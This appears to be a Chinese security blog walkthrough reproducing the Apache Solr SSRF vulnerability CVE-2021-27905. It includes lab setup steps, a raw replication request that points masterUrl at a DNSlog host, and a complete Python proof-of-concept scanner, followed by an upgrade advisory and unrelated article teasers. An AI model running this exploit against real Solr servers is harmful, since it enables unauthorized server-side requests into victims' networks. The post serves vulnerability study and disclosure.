Apache Solr SSRF (CVE-2021-27905)复现

摘要:
like Gecko)Chrome/89.0.4389.128Safari/537.36参考:q=0.9连接:python3CVE-2021-27905.py-url-ddnslog--------]“)打印(”[---------作者:

0x00漏洞概述

Apache solr是一个开源的搜索服务,使用java编写,运行在serblet容器的一个独立的全文搜索服务器,是apache luncene项目的开源企业搜索平台。

0x01影响范围

Apache solr <=8.8.2

0x02漏洞复现

1、本次复现使用的是apache solr8.8.1版本,下载完成后解压进入bin目录,执行:

  

Solr start -p 8983  //启动环境

(下载链接:http://archive.apache.org/dist/lucene/solr/8.8.1/)

Apache Solr SSRF (CVE-2021-27905)复现第1张

 Apache Solr SSRF (CVE-2021-27905)复现第2张

2、点击Core Admin创建core发现报错

 Apache Solr SSRF (CVE-2021-27905)复现第3张

此时solr在server/solr目录下已经创建了名字new_core的文件夹,我们把server/solr/configsets/default文件夹下的conf文件复制到新建的new_core文件下:

Apache Solr SSRF (CVE-2021-27905)复现第4张

 Apache Solr SSRF (CVE-2021-27905)复现第5张

此时即可创建成功;

访问http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json,便可以看到core的名字:

Apache Solr SSRF (CVE-2021-27905)复现第6张

3、SSRF数据包(其中core为实际节点的core值,dnslog为Dnslog的地址):

GET /solr/{core}/replication?command=fetchindex&masterUrl={dnslog} HTTP/1.1
Host: IP
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Referer: http://IP/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

4、POC复现:

Apache Solr SSRF (CVE-2021-27905)复现第7张

POC:

Apache Solr SSRF (CVE-2021-27905)复现第8张Apache Solr SSRF (CVE-2021-27905)复现第9张
# CVE-2021-27905
# Apache solr ssrf

import requests
import urllib3
import json
import sys, getopt
urllib3.disable_warnings()


def title():
    print("[-------------------------------------------------------------]")
    print("[--------------      Apache Solr SSRF漏洞      ---------------]")
    print("[--------               CVE-2021-27905               ----------]")
    print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
    print("[--------              Author:Henry4E36            ------------]")
    print("[-------------------------------------------------------------]")

def commit():
    url = ""
    try:
        opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
        for op, value in opt:
            if op == "-h" or op == "--help":
                print("""
            [-]   Apache Solr SSRF漏洞 (CVE-2021-27905)
            [-]   Options:
                     -h or --help      :   方法说明
                     -u or --url       :   站点URL地址
                     -d or --dnslog    :   DnsLog
                """)
                sys.exit(0)
            elif op == "-u" or op == "--url=":
                url = value
            elif op == "-d" or op == "--dnslog=":
                dnslog = value
            else:
                print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
                sys.exit()
        return url, dnslog

    except Exception as e:
        print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
        sys.exit(0)

def target_core(url):
    target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
        core = list(json.loads(res.text)["status"])[0]
        return core
    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外!n ",e)

def ssrf(core,dnslog):
    target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
        status = json.loads(res.text)["status"]
        if res.status_code == 200 and status == "OK":
            print(f"[!]  33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
        else:
            print(f"[0]  目标系统: {url} 不存在SSRF漏洞")

    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外!n ", e)


if __name__ == "__main__":
    title()
    url ,dnslog = commit()
    core = target_core(url)
    ssrf(core,dnslog)
POC.py

0x03修复建议:

升级到最新版本

下载地址:https://solr.apache.org/downloads.html

免责声明:文章转载自《Apache Solr SSRF (CVE-2021-27905)复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Ueditor1.4.3.3+springMvc+maven 实现图片上传[转]邮件服务器常见错误列表下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

全局图片防盗链处理

概念:防盗链是指用户不经过我们的网站直接访问我们的图片 我们给他一个错误的图片处理 原理:获取当前与上一次请求的url 对其进行网站域名与端口号比较 如果相同则返回真实图片(如果从别的网站链接过来不可能返回true)否则返回错误图片 过程: 1、新建一个一般处理程序处理 2、在webconfiguration中添加httpHandlers节点信息 pu...

webstorm中配置过visualsvn,后面做更改要更换authentication realm的解决办法

找这个找了好久,一直改不过来,终于找到了解决办法 首先,在提交代码时提示: 但是我的authentication realm已经时这个了,并且账号和密码也改了,所以要更改authentication realm。 使用的时候要安装TortoiseSVN,安装好之后数遍右键会提示相关的操作;在空白处右键,选择TortoiseSVN-重新定位,会弹出下面这个...

并不对劲的loj3111:p5359:[SDOI2019]染色

题目大意 有个2行n列的网格,c种颜色。 有些格子的颜色是固定的。 不能把相邻的格子染成同色,问剩下的格子的染色方案数模(10^9+9)。(n,cleq 10^5;) 题解 “相邻不同色”让人想到可以把染完色的段的两个右(左)端点染上的颜色记在状态里进行dp。 发现对于一段连续的没有颜色固定的格的列,它的染色方案只与它的长度和它前后两端的已染色的格的相同情...

使用SpringBoot Admin监控SpringCloud微服务

spring-boot admin的github地址:https://github.com/codecentric/spring-boot-admin 本文基于SpringCloud的环境和配置上增加配置信息,而不是从0开始的配置。 一、搭建admin服务端 1、引入pom <properties> <spring-boot-a...

.netcore持续集成测试篇之搭建内存服务器进行集成测试一

系列目录 在web项目里,我们把每一层的代码的单元测试都通过并不代表程序能正常运行,因为这个过程缺失了http管道,很多时候我们还还需要把项目布在iis环境中或者在vs里启动iis express服务器进行集成测试.对于返回view的的方法我们通常是在浏览器中输入地址进行测试,对于返回数据的方法则使用诸如postman,fiddler,httpMaster...

bootstrap-table 基础用法

1.需要添加的引用。 <script src="http://t.zoukankan.com/@Url.Content("~/js/jquery-2.1.1.js")"></script>    <script src="http://t.zoukankan.com/@Url.Content("~/js/bo...